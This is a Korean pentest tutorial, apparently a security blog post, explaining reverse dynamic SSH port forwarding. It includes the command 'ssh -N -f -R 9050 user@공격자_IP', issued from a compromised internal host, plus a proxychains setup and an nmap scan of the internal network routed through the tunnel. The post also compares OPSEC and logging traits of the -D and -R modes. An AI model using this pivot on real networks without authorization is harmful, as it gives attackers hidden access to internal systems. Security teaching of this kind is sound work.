G2H

보안 리서치 · 레드팀/블루팀 · DFIR · Cloud · Tooling

최신 글 보기

최근에 작성된 글들을 확인해보세요.

Reverse Dynamic Port Forwarding

Pentest/Pentest

가장 많이 쓰이는 포트포워딩 방식중 하나로서, 

Dynamic Port Forwarding 의 역방향으로 진행되는 일반적인 Reverse Port Forwarding 방식이다.

즉, 내부 호스트가 바깥 쪽 외부 서버로 SSH 역터널(-R)을 먼저 열고, 동시에 SOCKS 프록시(-D) 를 내부에서 띄운 뒤

그 SOCKS를 바깥 서버 쪽 포트에 연결하는 기법이다.

ssh -N -f -R 9050 user@공격자_IP

OpenSSH 7.6 이상에서 제공되며, 내부망 B에서 위 명령과 같이 지정하면 

공격자 A 에서 오는 로컬루프백 (127.0.0.1) 9050 포트가 SOCKS5 프록시로 활성화된다. 이후 A에서 해당 포트로 들어오는 요청은 모두 SSH 터널을 통해 B로 전달된다

이처럼 B→A의 SSH 연결만으로도, 공격자 A는 내부망의 임의 TCP 서비스에 SOCKS 경유로 접근할 수 있다.

트래픽 흐름 및 동작 메커니즘

 

  • SSH 터널 생성 (B→A): 내부망 B에서 위 SSH 명령을 실행하면, B는 공격자 A와 SSH 연결을 맺고 A측 9050 포트를 SOCKS5 리스닝으로 연다.
  • 공격자 측 프록시 활용: 공격자 A는 /etc/proxychains.conf 등에 socks5 127.0.0.1 9050를 추가하고, 그 앞에 proxychains를 붙여 명령을 실행한다. 예를 들어 proxychains nmap 192.168.1.0/24를 실행하면, 해당 nmap 트래픽이 A의 9050 포트(SOCKS)로 전달된다.
    • [ProxyList]
      socks5  127.0.0.1  9050
  • 터널을 통한 내부망 접근: A의 SOCKS5 프록시로 들어온 연결 요청은 모두 암호화된 SSH 채널을 통해 B로 전달된다. B는 내부망의 타깃(예: 192.168.x.x)으로 실제 TCP 연결을 수립한 후, 응답을 다시 A로 전송한다.
  • 응답 경로: 내부망 호스트 → B → SSH 터널 → A → 공격자 툴(예: nmap, curl)로 응답이 돌아간다.
  • SOCKS 제한: SOCKS 프로토콜은 OSI 모델 5계층(TCP/UDP 세션 레벨)에서 동작하므로, ICMP(ping)나 ARP 등 저수준 프로토콜은 프록시되지 않는다. 따라서 내부 스캔 시 TCP 기반 도구만 활용할 수 있다.
                  ┌───────────────────┐
                  │  Attacker A (Linux) │
                  │  - SSH SOCKS@127.0.0.1:9050 │
                  └───────┬───────────┘
                          │ ProxyChains로 nmap, wget 등 실행
                          │ (트래픽 → SOCKS5)
            ┌─────────────┴─────────────┐
            │ Internal Host B (Linux)   │
            │ (Compromised, Outbound SSH) │
            └───────┬───────────┘
                    │ 암호화된 SSH 터널
                    │ (Reverse Dynamic Forwarding)
                    v
             ┌─────────────┐
             │ Internal Target │
             │ (Windows/Linux)  │
             └─────────────┘

 

위와 같은 아키텍처라고 볼 수 있다.

 

또한, 다이나믹 포트포워딩 종류에서, SOCKS 프록시 서버 위치에 대해 모호한 느낌이 있어 아래와 같이 정리했다.

 

  • -D(다이나믹, 정방향): SOCKS는 ‘로컬’(A)에 뜨고, 패킷은 ‘원격’(B/배스천 쪽)에서 나간다
  • 리버스 다이나믹(-R 확장): SOCKS는 ‘원격’(A)에 뜨고, 패킷은 ‘로컬’(B/내부 쪽)에서 나간다

즉, “SOCKS가 뜨는 쪽 ≠ 트래픽이 나가는 쪽”
-D는 “여기(로컬)서 SOCKS, 저쪽(원격)에서 egress”,
-R(리버스 다이나믹)은 “저쪽(원격)서 SOCKS, 여기(로컬)에서 egress”.

항목 -D 다이나믹 (정방향) 리버스 다이나믹 (-R 확장)
SSH 개시 방향 A → B (A가 내부로 다이렉트 도달 가능) B → A (아웃바운드만 허용되는 내부에서 먼저 나감)
SOCKS 리스너 위치 A (로컬 바인딩) A (원격 바인딩) ← B가 -R로 띄움
실제 egress 위치 B 쪽 네트워크 B 쪽 네트워크 (같아 보이지만, 세션 개시·권한이 다름)
방화벽 전제 외부에서 배스천/점프에 접속 허용 내부에서 외부(공격자)로만 접속 허용
OPSEC/로그 B의 서버로그 + A 클라로그 B의 클라로그 + A의 서버로그 (흔적/권한분리/탐지 포인트 달라짐)
노출 위험 B 쪽 GatewayPorts/정책 따라 공개 위험 A 쪽 바인딩 공개 시 위험(보통 루프백 유지)